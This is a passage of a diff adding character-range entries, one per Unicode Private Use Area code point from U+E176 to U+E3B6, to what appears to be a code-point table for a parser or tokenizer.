+ ["\uE176", "\uE176"], /* Private Use */
+ ["\uE177", "\uE177"], /* Private Use */
+ ["\uE178", "\uE178"], /* Private Use */
+ ["\uE179", "\uE179"], /* Private Use */
+ ["\uE17A", "\uE17A"], /* Private Use */
+ ["\uE17B", "\uE17B"], /* Private Use */
+ ["\uE17C", "\uE17C"], /* Private Use */
+ ["\uE17D", "\uE17D"], /* Private Use */
+ ["\uE17E", "\uE17E"], /* Private Use */
+ ["\uE17F", "\uE17F"], /* Private Use */
+ ["\uE180", "\uE180"], /* Private Use */
+ ["\uE181", "\uE181"], /* Private Use */
+ ["\uE182", "\uE182"], /* Private Use */
+ ["\uE183", "\uE183"], /* Private Use */
+ ["\uE184", "\uE184"], /* Private Use */
+ ["\uE185", "\uE185"], /* Private Use */
+ ["\uE186", "\uE186"], /* Private Use */
+ ["\uE187", "\uE187"], /* Private Use */
+ ["\uE188", "\uE188"], /* Private Use */
+ ["\uE189", "\uE189"], /* Private Use */
+ ["\uE18A", "\uE18A"], /* Private Use */
+ ["\uE18B", "\uE18B"], /* Private Use */
+ ["\uE18C", "\uE18C"], /* Private Use */
+ ["\uE18D", "\uE18D"], /* Private Use */
+ ["\uE18E", "\uE18E"], /* Private Use */
+ ["\uE18F", "\uE18F"], /* Private Use */
+ ["\uE190", "\uE190"], /* Private Use */
+ ["\uE191", "\uE191"], /* Private Use */
+ ["\uE192", "\uE192"], /* Private Use */
+ ["\uE193", "\uE193"], /* Private Use */
+ ["\uE194", "\uE194"], /* Private Use */
+ ["\uE195", "\uE195"], /* Private Use */
+ ["\uE196", "\uE196"], /* Private Use */
+ ["\uE197", "\uE197"], /* Private Use */
+ ["\uE198", "\uE198"], /* Private Use */
+ ["\uE199", "\uE199"], /* Private Use */
+ ["\uE19A", "\uE19A"], /* Private Use */
+ ["\uE19B", "\uE19B"], /* Private Use */
+ ["\uE19C", "\uE19C"], /* Private Use */
+ ["\uE19D", "\uE19D"], /* Private Use */
+ ["\uE19E", "\uE19E"], /* Private Use */
+ ["\uE19F", "\uE19F"], /* Private Use */
+ ["\uE1A0", "\uE1A0"], /* Private Use */
+ ["\uE1A1", "\uE1A1"], /* Private Use */
+ ["\uE1A2", "\uE1A2"], /* Private Use */
+ ["\uE1A3", "\uE1A3"], /* Private Use */
+ ["\uE1A4", "\uE1A4"], /* Private Use */
+ ["\uE1A5", "\uE1A5"], /* Private Use */
+ ["\uE1A6", "\uE1A6"], /* Private Use */
+ ["\uE1A7", "\uE1A7"], /* Private Use */
+ ["\uE1A8", "\uE1A8"], /* Private Use */
+ ["\uE1A9", "\uE1A9"], /* Private Use */
+ ["\uE1AA", "\uE1AA"], /* Private Use */
+ ["\uE1AB", "\uE1AB"], /* Private Use */
+ ["\uE1AC", "\uE1AC"], /* Private Use */
+ ["\uE1AD", "\uE1AD"], /* Private Use */
+ ["\uE1AE", "\uE1AE"], /* Private Use */
+ ["\uE1AF", "\uE1AF"], /* Private Use */
+ ["\uE1B0", "\uE1B0"], /* Private Use */
+ ["\uE1B1", "\uE1B1"], /* Private Use */
+ ["\uE1B2", "\uE1B2"], /* Private Use */
+ ["\uE1B3", "\uE1B3"], /* Private Use */
+ ["\uE1B4", "\uE1B4"], /* Private Use */
+ ["\uE1B5", "\uE1B5"], /* Private Use */
+ ["\uE1B6", "\uE1B6"], /* Private Use */
+ ["\uE1B7", "\uE1B7"], /* Private Use */
+ ["\uE1B8", "\uE1B8"], /* Private Use */
+ ["\uE1B9", "\uE1B9"], /* Private Use */
+ ["\uE1BA", "\uE1BA"], /* Private Use */
+ ["\uE1BB", "\uE1BB"], /* Private Use */
+ ["\uE1BC", "\uE1BC"], /* Private Use */
+ ["\uE1BD", "\uE1BD"], /* Private Use */
+ ["\uE1BE", "\uE1BE"], /* Private Use */
+ ["\uE1BF", "\uE1BF"], /* Private Use */
+ ["\uE1C0", "\uE1C0"], /* Private Use */
+ ["\uE1C1", "\uE1C1"], /* Private Use */
+ ["\uE1C2", "\uE1C2"], /* Private Use */
+ ["\uE1C3", "\uE1C3"], /* Private Use */
+ ["\uE1C4", "\uE1C4"], /* Private Use */
+ ["\uE1C5", "\uE1C5"], /* Private Use */
+ ["\uE1C6", "\uE1C6"], /* Private Use */
+ ["\uE1C7", "\uE1C7"], /* Private Use */
+ ["\uE1C8", "\uE1C8"], /* Private Use */
+ ["\uE1C9", "\uE1C9"], /* Private Use */
+ ["\uE1CA", "\uE1CA"], /* Private Use */
+ ["\uE1CB", "\uE1CB"], /* Private Use */
+ ["\uE1CC", "\uE1CC"], /* Private Use */
+ ["\uE1CD", "\uE1CD"], /* Private Use */
+ ["\uE1CE", "\uE1CE"], /* Private Use */
+ ["\uE1CF", "\uE1CF"], /* Private Use */
+ ["\uE1D0", "\uE1D0"], /* Private Use */
+ ["\uE1D1", "\uE1D1"], /* Private Use */
+ ["\uE1D2", "\uE1D2"], /* Private Use */
+ ["\uE1D3", "\uE1D3"], /* Private Use */
+ ["\uE1D4", "\uE1D4"], /* Private Use */
+ ["\uE1D5", "\uE1D5"], /* Private Use */
+ ["\uE1D6", "\uE1D6"], /* Private Use */
+ ["\uE1D7", "\uE1D7"], /* Private Use */
+ ["\uE1D8", "\uE1D8"], /* Private Use */
+ ["\uE1D9", "\uE1D9"], /* Private Use */
+ ["\uE1DA", "\uE1DA"], /* Private Use */
+ ["\uE1DB", "\uE1DB"], /* Private Use */
+ ["\uE1DC", "\uE1DC"], /* Private Use */
+ ["\uE1DD", "\uE1DD"], /* Private Use */
+ ["\uE1DE", "\uE1DE"], /* Private Use */
+ ["\uE1DF", "\uE1DF"], /* Private Use */
+ ["\uE1E0", "\uE1E0"], /* Private Use */
+ ["\uE1E1", "\uE1E1"], /* Private Use */
+ ["\uE1E2", "\uE1E2"], /* Private Use */
+ ["\uE1E3", "\uE1E3"], /* Private Use */
+ ["\uE1E4", "\uE1E4"], /* Private Use */
+ ["\uE1E5", "\uE1E5"], /* Private Use */
+ ["\uE1E6", "\uE1E6"], /* Private Use */
+ ["\uE1E7", "\uE1E7"], /* Private Use */
+ ["\uE1E8", "\uE1E8"], /* Private Use */
+ ["\uE1E9", "\uE1E9"], /* Private Use */
+ ["\uE1EA", "\uE1EA"], /* Private Use */
+ ["\uE1EB", "\uE1EB"], /* Private Use */
+ ["\uE1EC", "\uE1EC"], /* Private Use */
+ ["\uE1ED", "\uE1ED"], /* Private Use */
+ ["\uE1EE", "\uE1EE"], /* Private Use */
+ ["\uE1EF", "\uE1EF"], /* Private Use */
+ ["\uE1F0", "\uE1F0"], /* Private Use */
+ ["\uE1F1", "\uE1F1"], /* Private Use */
+ ["\uE1F2", "\uE1F2"], /* Private Use */
+ ["\uE1F3", "\uE1F3"], /* Private Use */
+ ["\uE1F4", "\uE1F4"], /* Private Use */
+ ["\uE1F5", "\uE1F5"], /* Private Use */
+ ["\uE1F6", "\uE1F6"], /* Private Use */
+ ["\uE1F7", "\uE1F7"], /* Private Use */
+ ["\uE1F8", "\uE1F8"], /* Private Use */
+ ["\uE1F9", "\uE1F9"], /* Private Use */
+ ["\uE1FA", "\uE1FA"], /* Private Use */
+ ["\uE1FB", "\uE1FB"], /* Private Use */
+ ["\uE1FC", "\uE1FC"], /* Private Use */
+ ["\uE1FD", "\uE1FD"], /* Private Use */
+ ["\uE1FE", "\uE1FE"], /* Private Use */
+ ["\uE1FF", "\uE1FF"], /* Private Use */
+ ["\uE200", "\uE200"], /* Private Use */
+ ["\uE201", "\uE201"], /* Private Use */
+ ["\uE202", "\uE202"], /* Private Use */
+ ["\uE203", "\uE203"], /* Private Use */
+ ["\uE204", "\uE204"], /* Private Use */
+ ["\uE205", "\uE205"], /* Private Use */
+ ["\uE206", "\uE206"], /* Private Use */
+ ["\uE207", "\uE207"], /* Private Use */
+ ["\uE208", "\uE208"], /* Private Use */
+ ["\uE209", "\uE209"], /* Private Use */
+ ["\uE20A", "\uE20A"], /* Private Use */
+ ["\uE20B", "\uE20B"], /* Private Use */
+ ["\uE20C", "\uE20C"], /* Private Use */
+ ["\uE20D", "\uE20D"], /* Private Use */
+ ["\uE20E", "\uE20E"], /* Private Use */
+ ["\uE20F", "\uE20F"], /* Private Use */
+ ["\uE210", "\uE210"], /* Private Use */
+ ["\uE211", "\uE211"], /* Private Use */
+ ["\uE212", "\uE212"], /* Private Use */
+ ["\uE213", "\uE213"], /* Private Use */
+ ["\uE214", "\uE214"], /* Private Use */
+ ["\uE215", "\uE215"], /* Private Use */
+ ["\uE216", "\uE216"], /* Private Use */
+ ["\uE217", "\uE217"], /* Private Use */
+ ["\uE218", "\uE218"], /* Private Use */
+ ["\uE219", "\uE219"], /* Private Use */
+ ["\uE21A", "\uE21A"], /* Private Use */
+ ["\uE21B", "\uE21B"], /* Private Use */
+ ["\uE21C", "\uE21C"], /* Private Use */
+ ["\uE21D", "\uE21D"], /* Private Use */
+ ["\uE21E", "\uE21E"], /* Private Use */
+ ["\uE21F", "\uE21F"], /* Private Use */
+ ["\uE220", "\uE220"], /* Private Use */
+ ["\uE221", "\uE221"], /* Private Use */
+ ["\uE222", "\uE222"], /* Private Use */
+ ["\uE223", "\uE223"], /* Private Use */
+ ["\uE224", "\uE224"], /* Private Use */
+ ["\uE225", "\uE225"], /* Private Use */
+ ["\uE226", "\uE226"], /* Private Use */
+ ["\uE227", "\uE227"], /* Private Use */
+ ["\uE228", "\uE228"], /* Private Use */
+ ["\uE229", "\uE229"], /* Private Use */
+ ["\uE22A", "\uE22A"], /* Private Use */
+ ["\uE22B", "\uE22B"], /* Private Use */
+ ["\uE22C", "\uE22C"], /* Private Use */
+ ["\uE22D", "\uE22D"], /* Private Use */
+ ["\uE22E", "\uE22E"], /* Private Use */
+ ["\uE22F", "\uE22F"], /* Private Use */
+ ["\uE230", "\uE230"], /* Private Use */
+ ["\uE231", "\uE231"], /* Private Use */
+ ["\uE232", "\uE232"], /* Private Use */
+ ["\uE233", "\uE233"], /* Private Use */
+ ["\uE234", "\uE234"], /* Private Use */
+ ["\uE235", "\uE235"], /* Private Use */
+ ["\uE236", "\uE236"], /* Private Use */
+ ["\uE237", "\uE237"], /* Private Use */
+ ["\uE238", "\uE238"], /* Private Use */
+ ["\uE239", "\uE239"], /* Private Use */
+ ["\uE23A", "\uE23A"], /* Private Use */
+ ["\uE23B", "\uE23B"], /* Private Use */
+ ["\uE23C", "\uE23C"], /* Private Use */
+ ["\uE23D", "\uE23D"], /* Private Use */
+ ["\uE23E", "\uE23E"], /* Private Use */
+ ["\uE23F", "\uE23F"], /* Private Use */
+ ["\uE240", "\uE240"], /* Private Use */
+ ["\uE241", "\uE241"], /* Private Use */
+ ["\uE242", "\uE242"], /* Private Use */
+ ["\uE243", "\uE243"], /* Private Use */
+ ["\uE244", "\uE244"], /* Private Use */
+ ["\uE245", "\uE245"], /* Private Use */
+ ["\uE246", "\uE246"], /* Private Use */
+ ["\uE247", "\uE247"], /* Private Use */
+ ["\uE248", "\uE248"], /* Private Use */
+ ["\uE249", "\uE249"], /* Private Use */
+ ["\uE24A", "\uE24A"], /* Private Use */
+ ["\uE24B", "\uE24B"], /* Private Use */
+ ["\uE24C", "\uE24C"], /* Private Use */
+ ["\uE24D", "\uE24D"], /* Private Use */
+ ["\uE24E", "\uE24E"], /* Private Use */
+ ["\uE24F", "\uE24F"], /* Private Use */
+ ["\uE250", "\uE250"], /* Private Use */
+ ["\uE251", "\uE251"], /* Private Use */
+ ["\uE252", "\uE252"], /* Private Use */
+ ["\uE253", "\uE253"], /* Private Use */
+ ["\uE254", "\uE254"], /* Private Use */
+ ["\uE255", "\uE255"], /* Private Use */
+ ["\uE256", "\uE256"], /* Private Use */
+ ["\uE257", "\uE257"], /* Private Use */
+ ["\uE258", "\uE258"], /* Private Use */
+ ["\uE259", "\uE259"], /* Private Use */
+ ["\uE25A", "\uE25A"], /* Private Use */
+ ["\uE25B", "\uE25B"], /* Private Use */
+ ["\uE25C", "\uE25C"], /* Private Use */
+ ["\uE25D", "\uE25D"], /* Private Use */
+ ["\uE25E", "\uE25E"], /* Private Use */
+ ["\uE25F", "\uE25F"], /* Private Use */
+ ["\uE260", "\uE260"], /* Private Use */
+ ["\uE261", "\uE261"], /* Private Use */
+ ["\uE262", "\uE262"], /* Private Use */
+ ["\uE263", "\uE263"], /* Private Use */
+ ["\uE264", "\uE264"], /* Private Use */
+ ["\uE265", "\uE265"], /* Private Use */
+ ["\uE266", "\uE266"], /* Private Use */
+ ["\uE267", "\uE267"], /* Private Use */
+ ["\uE268", "\uE268"], /* Private Use */
+ ["\uE269", "\uE269"], /* Private Use */
+ ["\uE26A", "\uE26A"], /* Private Use */
+ ["\uE26B", "\uE26B"], /* Private Use */
+ ["\uE26C", "\uE26C"], /* Private Use */
+ ["\uE26D", "\uE26D"], /* Private Use */
+ ["\uE26E", "\uE26E"], /* Private Use */
+ ["\uE26F", "\uE26F"], /* Private Use */
+ ["\uE270", "\uE270"], /* Private Use */
+ ["\uE271", "\uE271"], /* Private Use */
+ ["\uE272", "\uE272"], /* Private Use */
+ ["\uE273", "\uE273"], /* Private Use */
+ ["\uE274", "\uE274"], /* Private Use */
+ ["\uE275", "\uE275"], /* Private Use */
+ ["\uE276", "\uE276"], /* Private Use */
+ ["\uE277", "\uE277"], /* Private Use */
+ ["\uE278", "\uE278"], /* Private Use */
+ ["\uE279", "\uE279"], /* Private Use */
+ ["\uE27A", "\uE27A"], /* Private Use */
+ ["\uE27B", "\uE27B"], /* Private Use */
+ ["\uE27C", "\uE27C"], /* Private Use */
+ ["\uE27D", "\uE27D"], /* Private Use */
+ ["\uE27E", "\uE27E"], /* Private Use */
+ ["\uE27F", "\uE27F"], /* Private Use */
+ ["\uE280", "\uE280"], /* Private Use */
+ ["\uE281", "\uE281"], /* Private Use */
+ ["\uE282", "\uE282"], /* Private Use */
+ ["\uE283", "\uE283"], /* Private Use */
+ ["\uE284", "\uE284"], /* Private Use */
+ ["\uE285", "\uE285"], /* Private Use */
+ ["\uE286", "\uE286"], /* Private Use */
+ ["\uE287", "\uE287"], /* Private Use */
+ ["\uE288", "\uE288"], /* Private Use */
+ ["\uE289", "\uE289"], /* Private Use */
+ ["\uE28A", "\uE28A"], /* Private Use */
+ ["\uE28B", "\uE28B"], /* Private Use */
+ ["\uE28C", "\uE28C"], /* Private Use */
+ ["\uE28D", "\uE28D"], /* Private Use */
+ ["\uE28E", "\uE28E"], /* Private Use */
+ ["\uE28F", "\uE28F"], /* Private Use */
+ ["\uE290", "\uE290"], /* Private Use */
+ ["\uE291", "\uE291"], /* Private Use */
+ ["\uE292", "\uE292"], /* Private Use */
+ ["\uE293", "\uE293"], /* Private Use */
+ ["\uE294", "\uE294"], /* Private Use */
+ ["\uE295", "\uE295"], /* Private Use */
+ ["\uE296", "\uE296"], /* Private Use */
+ ["\uE297", "\uE297"], /* Private Use */
+ ["\uE298", "\uE298"], /* Private Use */
+ ["\uE299", "\uE299"], /* Private Use */
+ ["\uE29A", "\uE29A"], /* Private Use */
+ ["\uE29B", "\uE29B"], /* Private Use */
+ ["\uE29C", "\uE29C"], /* Private Use */
+ ["\uE29D", "\uE29D"], /* Private Use */
+ ["\uE29E", "\uE29E"], /* Private Use */
+ ["\uE29F", "\uE29F"], /* Private Use */
+ ["\uE2A0", "\uE2A0"], /* Private Use */
+ ["\uE2A1", "\uE2A1"], /* Private Use */
+ ["\uE2A2", "\uE2A2"], /* Private Use */
+ ["\uE2A3", "\uE2A3"], /* Private Use */
+ ["\uE2A4", "\uE2A4"], /* Private Use */
+ ["\uE2A5", "\uE2A5"], /* Private Use */
+ ["\uE2A6", "\uE2A6"], /* Private Use */
+ ["\uE2A7", "\uE2A7"], /* Private Use */
+ ["\uE2A8", "\uE2A8"], /* Private Use */
+ ["\uE2A9", "\uE2A9"], /* Private Use */
+ ["\uE2AA", "\uE2AA"], /* Private Use */
+ ["\uE2AB", "\uE2AB"], /* Private Use */
+ ["\uE2AC", "\uE2AC"], /* Private Use */
+ ["\uE2AD", "\uE2AD"], /* Private Use */
+ ["\uE2AE", "\uE2AE"], /* Private Use */
+ ["\uE2AF", "\uE2AF"], /* Private Use */
+ ["\uE2B0", "\uE2B0"], /* Private Use */
+ ["\uE2B1", "\uE2B1"], /* Private Use */
+ ["\uE2B2", "\uE2B2"], /* Private Use */
+ ["\uE2B3", "\uE2B3"], /* Private Use */
+ ["\uE2B4", "\uE2B4"], /* Private Use */
+ ["\uE2B5", "\uE2B5"], /* Private Use */
+ ["\uE2B6", "\uE2B6"], /* Private Use */
+ ["\uE2B7", "\uE2B7"], /* Private Use */
+ ["\uE2B8", "\uE2B8"], /* Private Use */
+ ["\uE2B9", "\uE2B9"], /* Private Use */
+ ["\uE2BA", "\uE2BA"], /* Private Use */
+ ["\uE2BB", "\uE2BB"], /* Private Use */
+ ["\uE2BC", "\uE2BC"], /* Private Use */
+ ["\uE2BD", "\uE2BD"], /* Private Use */
+ ["\uE2BE", "\uE2BE"], /* Private Use */
+ ["\uE2BF", "\uE2BF"], /* Private Use */
+ ["\uE2C0", "\uE2C0"], /* Private Use */
+ ["\uE2C1", "\uE2C1"], /* Private Use */
+ ["\uE2C2", "\uE2C2"], /* Private Use */
+ ["\uE2C3", "\uE2C3"], /* Private Use */
+ ["\uE2C4", "\uE2C4"], /* Private Use */
+ ["\uE2C5", "\uE2C5"], /* Private Use */
+ ["\uE2C6", "\uE2C6"], /* Private Use */
+ ["\uE2C7", "\uE2C7"], /* Private Use */
+ ["\uE2C8", "\uE2C8"], /* Private Use */
+ ["\uE2C9", "\uE2C9"], /* Private Use */
+ ["\uE2CA", "\uE2CA"], /* Private Use */
+ ["\uE2CB", "\uE2CB"], /* Private Use */
+ ["\uE2CC", "\uE2CC"], /* Private Use */
+ ["\uE2CD", "\uE2CD"], /* Private Use */
+ ["\uE2CE", "\uE2CE"], /* Private Use */
+ ["\uE2CF", "\uE2CF"], /* Private Use */
+ ["\uE2D0", "\uE2D0"], /* Private Use */
+ ["\uE2D1", "\uE2D1"], /* Private Use */
+ ["\uE2D2", "\uE2D2"], /* Private Use */
+ ["\uE2D3", "\uE2D3"], /* Private Use */
+ ["\uE2D4", "\uE2D4"], /* Private Use */
+ ["\uE2D5", "\uE2D5"], /* Private Use */
+ ["\uE2D6", "\uE2D6"], /* Private Use */
+ ["\uE2D7", "\uE2D7"], /* Private Use */
+ ["\uE2D8", "\uE2D8"], /* Private Use */
+ ["\uE2D9", "\uE2D9"], /* Private Use */
+ ["\uE2DA", "\uE2DA"], /* Private Use */
+ ["\uE2DB", "\uE2DB"], /* Private Use */
+ ["\uE2DC", "\uE2DC"], /* Private Use */
+ ["\uE2DD", "\uE2DD"], /* Private Use */
+ ["\uE2DE", "\uE2DE"], /* Private Use */
+ ["\uE2DF", "\uE2DF"], /* Private Use */
+ ["\uE2E0", "\uE2E0"], /* Private Use */
+ ["\uE2E1", "\uE2E1"], /* Private Use */
+ ["\uE2E2", "\uE2E2"], /* Private Use */
+ ["\uE2E3", "\uE2E3"], /* Private Use */
+ ["\uE2E4", "\uE2E4"], /* Private Use */
+ ["\uE2E5", "\uE2E5"], /* Private Use */
+ ["\uE2E6", "\uE2E6"], /* Private Use */
+ ["\uE2E7", "\uE2E7"], /* Private Use */
+ ["\uE2E8", "\uE2E8"], /* Private Use */
+ ["\uE2E9", "\uE2E9"], /* Private Use */
+ ["\uE2EA", "\uE2EA"], /* Private Use */
+ ["\uE2EB", "\uE2EB"], /* Private Use */
+ ["\uE2EC", "\uE2EC"], /* Private Use */
+ ["\uE2ED", "\uE2ED"], /* Private Use */
+ ["\uE2EE", "\uE2EE"], /* Private Use */
+ ["\uE2EF", "\uE2EF"], /* Private Use */
+ ["\uE2F0", "\uE2F0"], /* Private Use */
+ ["\uE2F1", "\uE2F1"], /* Private Use */
+ ["\uE2F2", "\uE2F2"], /* Private Use */
+ ["\uE2F3", "\uE2F3"], /* Private Use */
+ ["\uE2F4", "\uE2F4"], /* Private Use */
+ ["\uE2F5", "\uE2F5"], /* Private Use */
+ ["\uE2F6", "\uE2F6"], /* Private Use */
+ ["\uE2F7", "\uE2F7"], /* Private Use */
+ ["\uE2F8", "\uE2F8"], /* Private Use */
+ ["\uE2F9", "\uE2F9"], /* Private Use */
+ ["\uE2FA", "\uE2FA"], /* Private Use */
+ ["\uE2FB", "\uE2FB"], /* Private Use */
+ ["\uE2FC", "\uE2FC"], /* Private Use */
+ ["\uE2FD", "\uE2FD"], /* Private Use */
+ ["\uE2FE", "\uE2FE"], /* Private Use */
+ ["\uE2FF", "\uE2FF"], /* Private Use */
+ ["\uE300", "\uE300"], /* Private Use */
+ ["\uE301", "\uE301"], /* Private Use */
+ ["\uE302", "\uE302"], /* Private Use */
+ ["\uE303", "\uE303"], /* Private Use */
+ ["\uE304", "\uE304"], /* Private Use */
+ ["\uE305", "\uE305"], /* Private Use */
+ ["\uE306", "\uE306"], /* Private Use */
+ ["\uE307", "\uE307"], /* Private Use */
+ ["\uE308", "\uE308"], /* Private Use */
+ ["\uE309", "\uE309"], /* Private Use */
+ ["\uE30A", "\uE30A"], /* Private Use */
+ ["\uE30B", "\uE30B"], /* Private Use */
+ ["\uE30C", "\uE30C"], /* Private Use */
+ ["\uE30D", "\uE30D"], /* Private Use */
+ ["\uE30E", "\uE30E"], /* Private Use */
+ ["\uE30F", "\uE30F"], /* Private Use */
+ ["\uE310", "\uE310"], /* Private Use */
+ ["\uE311", "\uE311"], /* Private Use */
+ ["\uE312", "\uE312"], /* Private Use */
+ ["\uE313", "\uE313"], /* Private Use */
+ ["\uE314", "\uE314"], /* Private Use */
+ ["\uE315", "\uE315"], /* Private Use */
+ ["\uE316", "\uE316"], /* Private Use */
+ ["\uE317", "\uE317"], /* Private Use */
+ ["\uE318", "\uE318"], /* Private Use */
+ ["\uE319", "\uE319"], /* Private Use */
+ ["\uE31A", "\uE31A"], /* Private Use */
+ ["\uE31B", "\uE31B"], /* Private Use */
+ ["\uE31C", "\uE31C"], /* Private Use */
+ ["\uE31D", "\uE31D"], /* Private Use */
+ ["\uE31E", "\uE31E"], /* Private Use */
+ ["\uE31F", "\uE31F"], /* Private Use */
+ ["\uE320", "\uE320"], /* Private Use */
+ ["\uE321", "\uE321"], /* Private Use */
+ ["\uE322", "\uE322"], /* Private Use */
+ ["\uE323", "\uE323"], /* Private Use */
+ ["\uE324", "\uE324"], /* Private Use */
+ ["\uE325", "\uE325"], /* Private Use */
+ ["\uE326", "\uE326"], /* Private Use */
+ ["\uE327", "\uE327"], /* Private Use */
+ ["\uE328", "\uE328"], /* Private Use */
+ ["\uE329", "\uE329"], /* Private Use */
+ ["\uE32A", "\uE32A"], /* Private Use */
+ ["\uE32B", "\uE32B"], /* Private Use */
+ ["\uE32C", "\uE32C"], /* Private Use */
+ ["\uE32D", "\uE32D"], /* Private Use */
+ ["\uE32E", "\uE32E"], /* Private Use */
+ ["\uE32F", "\uE32F"], /* Private Use */
+ ["\uE330", "\uE330"], /* Private Use */
+ ["\uE331", "\uE331"], /* Private Use */
+ ["\uE332", "\uE332"], /* Private Use */
+ ["\uE333", "\uE333"], /* Private Use */
+ ["\uE334", "\uE334"], /* Private Use */
+ ["\uE335", "\uE335"], /* Private Use */
+ ["\uE336", "\uE336"], /* Private Use */
+ ["\uE337", "\uE337"], /* Private Use */
+ ["\uE338", "\uE338"], /* Private Use */
+ ["\uE339", "\uE339"], /* Private Use */
+ ["\uE33A", "\uE33A"], /* Private Use */
+ ["\uE33B", "\uE33B"], /* Private Use */
+ ["\uE33C", "\uE33C"], /* Private Use */
+ ["\uE33D", "\uE33D"], /* Private Use */
+ ["\uE33E", "\uE33E"], /* Private Use */
+ ["\uE33F", "\uE33F"], /* Private Use */
+ ["\uE340", "\uE340"], /* Private Use */
+ ["\uE341", "\uE341"], /* Private Use */
+ ["\uE342", "\uE342"], /* Private Use */
+ ["\uE343", "\uE343"], /* Private Use */
+ ["\uE344", "\uE344"], /* Private Use */
+ ["\uE345", "\uE345"], /* Private Use */
+ ["\uE346", "\uE346"], /* Private Use */
+ ["\uE347", "\uE347"], /* Private Use */
+ ["\uE348", "\uE348"], /* Private Use */
+ ["\uE349", "\uE349"], /* Private Use */
+ ["\uE34A", "\uE34A"], /* Private Use */
+ ["\uE34B", "\uE34B"], /* Private Use */
+ ["\uE34C", "\uE34C"], /* Private Use */
+ ["\uE34D", "\uE34D"], /* Private Use */
+ ["\uE34E", "\uE34E"], /* Private Use */
+ ["\uE34F", "\uE34F"], /* Private Use */
+ ["\uE350", "\uE350"], /* Private Use */
+ ["\uE351", "\uE351"], /* Private Use */
+ ["\uE352", "\uE352"], /* Private Use */
+ ["\uE353", "\uE353"], /* Private Use */
+ ["\uE354", "\uE354"], /* Private Use */
+ ["\uE355", "\uE355"], /* Private Use */
+ ["\uE356", "\uE356"], /* Private Use */
+ ["\uE357", "\uE357"], /* Private Use */
+ ["\uE358", "\uE358"], /* Private Use */
+ ["\uE359", "\uE359"], /* Private Use */
+ ["\uE35A", "\uE35A"], /* Private Use */
+ ["\uE35B", "\uE35B"], /* Private Use */
+ ["\uE35C", "\uE35C"], /* Private Use */
+ ["\uE35D", "\uE35D"], /* Private Use */
+ ["\uE35E", "\uE35E"], /* Private Use */
+ ["\uE35F", "\uE35F"], /* Private Use */
+ ["\uE360", "\uE360"], /* Private Use */
+ ["\uE361", "\uE361"], /* Private Use */
+ ["\uE362", "\uE362"], /* Private Use */
+ ["\uE363", "\uE363"], /* Private Use */
+ ["\uE364", "\uE364"], /* Private Use */
+ ["\uE365", "\uE365"], /* Private Use */
+ ["\uE366", "\uE366"], /* Private Use */
+ ["\uE367", "\uE367"], /* Private Use */
+ ["\uE368", "\uE368"], /* Private Use */
+ ["\uE369", "\uE369"], /* Private Use */
+ ["\uE36A", "\uE36A"], /* Private Use */
+ ["\uE36B", "\uE36B"], /* Private Use */
+ ["\uE36C", "\uE36C"], /* Private Use */
+ ["\uE36D", "\uE36D"], /* Private Use */
+ ["\uE36E", "\uE36E"], /* Private Use */
+ ["\uE36F", "\uE36F"], /* Private Use */
+ ["\uE370", "\uE370"], /* Private Use */
+ ["\uE371", "\uE371"], /* Private Use */
+ ["\uE372", "\uE372"], /* Private Use */
+ ["\uE373", "\uE373"], /* Private Use */
+ ["\uE374", "\uE374"], /* Private Use */
+ ["\uE375", "\uE375"], /* Private Use */
+ ["\uE376", "\uE376"], /* Private Use */
+ ["\uE377", "\uE377"], /* Private Use */
+ ["\uE378", "\uE378"], /* Private Use */
+ ["\uE379", "\uE379"], /* Private Use */
+ ["\uE37A", "\uE37A"], /* Private Use */
+ ["\uE37B", "\uE37B"], /* Private Use */
+ ["\uE37C", "\uE37C"], /* Private Use */
+ ["\uE37D", "\uE37D"], /* Private Use */
+ ["\uE37E", "\uE37E"], /* Private Use */
+ ["\uE37F", "\uE37F"], /* Private Use */
+ ["\uE380", "\uE380"], /* Private Use */
+ ["\uE381", "\uE381"], /* Private Use */
+ ["\uE382", "\uE382"], /* Private Use */
+ ["\uE383", "\uE383"], /* Private Use */
+ ["\uE384", "\uE384"], /* Private Use */
+ ["\uE385", "\uE385"], /* Private Use */
+ ["\uE386", "\uE386"], /* Private Use */
+ ["\uE387", "\uE387"], /* Private Use */
+ ["\uE388", "\uE388"], /* Private Use */
+ ["\uE389", "\uE389"], /* Private Use */
+ ["\uE38A", "\uE38A"], /* Private Use */
+ ["\uE38B", "\uE38B"], /* Private Use */
+ ["\uE38C", "\uE38C"], /* Private Use */
+ ["\uE38D", "\uE38D"], /* Private Use */
+ ["\uE38E", "\uE38E"], /* Private Use */
+ ["\uE38F", "\uE38F"], /* Private Use */
+ ["\uE390", "\uE390"], /* Private Use */
+ ["\uE391", "\uE391"], /* Private Use */
+ ["\uE392", "\uE392"], /* Private Use */
+ ["\uE393", "\uE393"], /* Private Use */
+ ["\uE394", "\uE394"], /* Private Use */
+ ["\uE395", "\uE395"], /* Private Use */
+ ["\uE396", "\uE396"], /* Private Use */
+ ["\uE397", "\uE397"], /* Private Use */
+ ["\uE398", "\uE398"], /* Private Use */
+ ["\uE399", "\uE399"], /* Private Use */
+ ["\uE39A", "\uE39A"], /* Private Use */
+ ["\uE39B", "\uE39B"], /* Private Use */
+ ["\uE39C", "\uE39C"], /* Private Use */
+ ["\uE39D", "\uE39D"], /* Private Use */
+ ["\uE39E", "\uE39E"], /* Private Use */
+ ["\uE39F", "\uE39F"], /* Private Use */
+ ["\uE3A0", "\uE3A0"], /* Private Use */
+ ["\uE3A1", "\uE3A1"], /* Private Use */
+ ["\uE3A2", "\uE3A2"], /* Private Use */
+ ["\uE3A3", "\uE3A3"], /* Private Use */
+ ["\uE3A4", "\uE3A4"], /* Private Use */
+ ["\uE3A5", "\uE3A5"], /* Private Use */
+ ["\uE3A6", "\uE3A6"], /* Private Use */
+ ["\uE3A7", "\uE3A7"], /* Private Use */
+ ["\uE3A8", "\uE3A8"], /* Private Use */
+ ["\uE3A9", "\uE3A9"], /* Private Use */
+ ["\uE3AA", "\uE3AA"], /* Private Use */
+ ["\uE3AB", "\uE3AB"], /* Private Use */
+ ["\uE3AC", "\uE3AC"], /* Private Use */
+ ["\uE3AD", "\uE3AD"], /* Private Use */
+ ["\uE3AE", "\uE3AE"], /* Private Use */
+ ["\uE3AF", "\uE3AF"], /* Private Use */
+ ["\uE3B0", "\uE3B0"], /* Private Use */
+ ["\uE3B1", "\uE3B1"], /* Private Use */
+ ["\uE3B2", "\uE3B2"], /* Private Use */
+ ["\uE3B3", "\uE3B3"], /* Private Use */
+ ["\uE3B4", "\uE3B4"], /* Private Use */
+ ["\uE3B5", "\uE3B5"], /* Private Use */
+ ["\uE3B6", "\uE3B6"], /* Private Use */
